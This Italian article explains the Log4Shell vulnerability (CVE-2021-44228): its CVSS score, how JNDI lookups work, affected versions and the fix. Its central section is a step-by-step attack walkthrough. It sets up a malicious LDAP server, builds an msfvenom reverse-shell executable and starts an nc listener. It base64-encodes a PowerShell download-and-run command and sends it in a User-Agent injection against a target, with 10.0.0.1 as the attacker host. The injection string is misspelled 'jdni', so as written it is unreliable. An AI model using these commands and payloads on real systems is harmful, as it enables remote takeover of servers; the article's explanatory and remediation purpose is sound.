CVE-2021-44228

Il 9 dicembre 2021 il mondo è venuto a conoscenza di una nuova falla di sicurezza riguardante Log4J. Il punteggio CVSSv3 (Common Vulnerability Scoring System) della vulnerabilità, è stato valutato pari a 10, rendendola così di livello critico (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).

CVSSv3

Il suo vettore CVSSv3 è il seguente: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

Facciamo un po' di chiarezza riguardo i valori così che possa venir compreso a pieno il motivo della valutazione:

• AV:N (Attack Vector: Network) : Il vettore di attacco è la rete e quindi, un eventuale dispositivo vulnerabile, è exploitabile da remoto.
• AC:L (Attack Complexity: Low) : La complessità dell'attacco è bassa e quindi effettuabile anche da un attaccante con poca conoscenza della vulnerabilità, del suo funzionamento o con poca skill
• PR:N (Privileged Required: None) : Non è necessario alcun privilegio all'interno del sistema.
• UI:N (User Interaction: None) : Il sistema è vulnerabile anche senza alcuna interazione da parte di un utente.
• S:C (Scope: Changed)
• C:H (Confidentiality: High) : La confidenzialità delle informazioni all'interno della macchina è completamente compromessa. Questo porta ad una perdita totale di segretezza dei dati e la divulgazione di essi all'attaccante.
• I:H (Integrity: High) : L'integrità delle informazioni contenute nella macchina è completamente compromessa. Un attaccante può modificare o eliminare qualsiasi file.
• A:H (Availability: High) : L'attaccante è in grado di negare comletamente l'accesso alle informazioni o i servizi della macchina.

Cos'è Log4J?

Log4J è una libreria Java, ora parte del progetto Apache Software Foundation, che permette di tenere sotto controllo lo stato di un'applicazione.

È lo standard de facto per il logging delle applicazioni Java.

Come funziona?

La vulnerabilità si basa su JNDI (Java Naming and Directory Interface): un'API Java che permette ad un applicativo di interagire con un servizio di directory esterno (per esempio LDAP).

L'interazione avviene tramite la funzionalità di lookup di JNDI che, abilitata nella configurazioni di default di Log4J, permette l'interazione con un server remoto.

TCP Reverse Shell via Log4J Exploitation

Alcune piccole precisazioni utili alla lettura:

• L'IP della macchina dell'attaccante è 10.0.0.1
• L'IP della macchina vulnerabile a Log4Shell è 10.0.0.2
• Il sistema operativo della macchina vulnerabile è Windows con un'architettura x86
• La macchina vulnerabile ha un'applicazione web in esecuzione sulla porta 80 e visitabile all'URL http://hackme.com

❗ ATTENZIONE ❗
La tecnica d'attacco descritta di seguito deve essere utile solo a comprendere la pericolosità effettiva della vulnerabilità in esame. L'autore prende le distanze e condanna ogni utilizzo improprio del seguente articolo.

L'obiettivo del seguente attacco è quello di sfruttare Log4Shell per riuscire a scaricare ed eseguire una reverse shell sul sistema vulnerabile così da aver il pieno controllo di esso.

1. Configurazione macchina attaccante

1. Andiamo a scaricare la repository contenente il codice necessario per l'inizializzazione di un server LDAP malevolo

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222

2. Andiamo a creare una reverse shell in TCP per Windows tramite msfvenom così da poter ricevere, nella porta 8888, l'accesso remoto alla macchina

msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe

3. Inizializziamo un listener, tramite nc, nella porta 8888 per ricevere la connessione dalla reverse shell caricata nella macchina vulnerabile

nc -lvnp 8888

4. Andiamo ad eseguire un server HTTP per permettere il download del malware dalla macchina bersaglio:

python3 -m http.server 4444

5. Tramite il seguente comando in Powershell, l'attaccante sarà in grado di connettersi al proprio server HTTP, scaricare il malware all'interno della directory C:\windows\temp ed eseguirlo

powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")

5. Andiamo a codificare il payload precedente in base64 tramite il seguente comando

echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64

Il risultato del comando precedente è il seguente:

cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

2. Exploit

1. Ipotizziamo che l'applicazione web registri l'User-Agent di un visitatore. L'attaccante invia una richiesta simile a:

GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

2. La stringa

${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

viene passata a Log4J che la interpreta e, tramite JNDI, effettua la richiesta al server LDAP dell'attaccante

ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

3. Viene scaricato il malware e viene eseguito.

4. L'attaccante ottiene una shell della macchina sulla porta 8888.

Sono vulnerabile?

Prima di tutto è doveroso ricordare che è una vulnerabilità che comprende SOLO i software che utilizzano Java o qualche derivato (e ovviamente Log4J come libreria di logging).

• 2.0-beta9 - 2.14.1: Le versioni vulnerabili a Log4Shell vanno dalla 2.0-beta9 alla 2.14.1.
• 2.15.0: La versione 2.15.0 di Log4J è stata trovata vulnerabile. CVE-2021-45046. Al momento la valutazione della vulnerabililtà è "9.0 Critical".
• 2.16.0: La versione 2.16.0 di Log4J è stata trovata vulnerabile. CVE-2021-45105. Al momento la valutazione della vulnerabilità è "7.5 High".

La versione 1.x di Log4J non è strettamente vulnerabile alla falla di sicurezza di riferimento ma, oltre ad essere stata messa in disuso nel 2015, è affetta dalla seguente vulnerabilità: CVE-2021-4104.

Come posso rimediare?

La soluzione migliore è quella di aggiornare Log4J alla versione 2.17.0.